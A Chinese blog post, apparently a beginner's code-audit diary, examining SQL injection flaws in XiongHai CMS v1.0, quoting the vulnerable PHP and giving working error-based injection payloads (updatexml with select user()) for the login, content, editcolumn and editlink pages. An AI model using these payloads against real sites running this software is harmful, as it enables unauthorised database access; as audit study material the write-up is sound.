• PHP代码审计学习_day4


    前言

    最近这段时间感觉自己很迷,不知道学什么,也不想学什么,但不学点东西,以后怎么办。所以还是继续努力吧!!!因为自己是初学代码审计,所以很多都不懂,哎,继续当个憨憨吧。

    环境准备

    Windows10
    phpstudy2018:apache+mysql+php5.6.27nts

    工具准备

    seay审计系统、RIPS-0.55、phpstorm2018+Xdebug以及火狐上面的插件Xdebug-ext。
    Xdebug的安装可以参考下面的链接,我最开始用的php5.4.45nts,但就是Xdebug安装不成功,就换成了5.6.27nts。
    https://www.cnblogs.com/-qing-/p/11256913.html
    https://blog.csdn.net/weikaixxxxxx/article/details/90137792

    熊海CMS_V1.0

    概述

    这个CMS是2015年的,算得上很老了,但作为初学者的我觉得很适合自己目前的水平。
    没怎么学过就按着自己感觉的来,先大概了解一些每个目录,然后就是rips和seay自动审计一波,然后phpstorm跟一波,再一一排除。
    这个CMS目录不复杂,看一会就可以知道一个大概(前提是英语别太差了,当然有翻译也不怕)

    SQL注入漏洞

    该CMS有很多漏洞,暴力破解没有验证码、XSS等等,但这里我只想记录一下SQL注入,其他的就不记了(主要是懒)。
    根据rips、seay的结果,我发现admin后台里面的sql注入很多,但是一般除非能拿到后台账号和用户名,否则基本没用,所以我先找除开后台里面的sql注入。
    先是后台admin的登录页面。

    漏洞点位于admin/files/login.php,看一下代码:

    $login=$_POST['login'];
    $user=$_POST['user'];
    $password=$_POST['password'];
    $checkbox=$_POST['checkbox'];
    
    if ($login<>""){
    $query = "SELECT * FROM manage WHERE user='$user'";
    $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $users = mysql_fetch_array($result);
    

    首先user是POST传参,并未对传入的数据进行任何的过滤,且将数据直接拼接到sql语句中。(说实话,我现在咋就遇不到这种好事呢。。。)
    再结合mysql_error(),可以直接进行报错注入。
    payload:user=123' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+&password=123&login=yes

    再就是content页面,漏洞点位于files/content.php

    代码如下:

    $id=addslashes($_GET['cid']);
    $query = "SELECT * FROM content WHERE id='$id'";
    $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $content = mysql_fetch_array($resul);
    
    $navid=$content['navclass'];
    $query = "SELECT * FROM navclass WHERE id='$navid'";
    $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $navs = mysql_fetch_array($resul);
    
    //浏览计数
    $query = "UPDATE content SET hit = hit+1 WHERE id=$id";
    @mysql_query($query) or die('修改错误:'.mysql_error());
    

    $id通过get传参的cid参数获得相应的值,并且会经过addslashes函数的过滤,该函数会将单引号、双引号、反斜杠、NULL转义,所以我就看有没有数字型的注入了。(宽字节注入需要GBK编码,暂时不管)
    就可以看到$query = "UPDATE content SET hit = hit+1 WHERE id=$id";这一句了,$id没有被单引号包围,直接起飞。
    payload:?r=content&cid=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

    然后就是为files/software.php了,大致情况和content.php差不多,都是被addslashes函数过滤了,但都存在数字型注入。

    最后就是admin后台内的sql注入了,很多地方都存在SQL注入漏洞,注入类型都差不多,就简单记几个就好。
    首先是admin/files/editcolumn.php

    很明显的报错注入:
    payload:/admin/?r=editcolumn&type=2&id=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
    在这个注入之前,admin/files目录下的columnlist.php和commentlist.php文件根据代码而言也必然存在漏洞,但是自己不知道为什么注入失败。。。

    再就是admin/files/editlink.php处

    payload:/admin/?r=editlink&id=2' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
    回显结果为:

    后面的基本都是一样的,传入的参数并没有任何的过滤,可以直接利用。

    总结

    该CMS就SQL注入而言,我的收获是:
    一是通过看代码,知道了有mysql_error()的就可能存在报错注入,而没有的就不用考虑报错注入了,盲注之类的可以搞一搞。
    二是很多SQL语句并不是必须是select开头的,我们才能注入,update等等都可以,因为前后是不影响的。

  • 相关阅读:
    jichu
    scanf
    数位dp
    hdu 5667
    华东交通大学2018年ACM“双基”程序设计竞赛 K
    华东交通大学2018年ACM“双基”程序设计竞赛 D
    map
    次小生成树
    set
    c++11之为什么C++11引入了std::ref?
  • 原文地址:https://www.cnblogs.com/-an-/p/13811518.html
Copyright © 2020-2023  润新知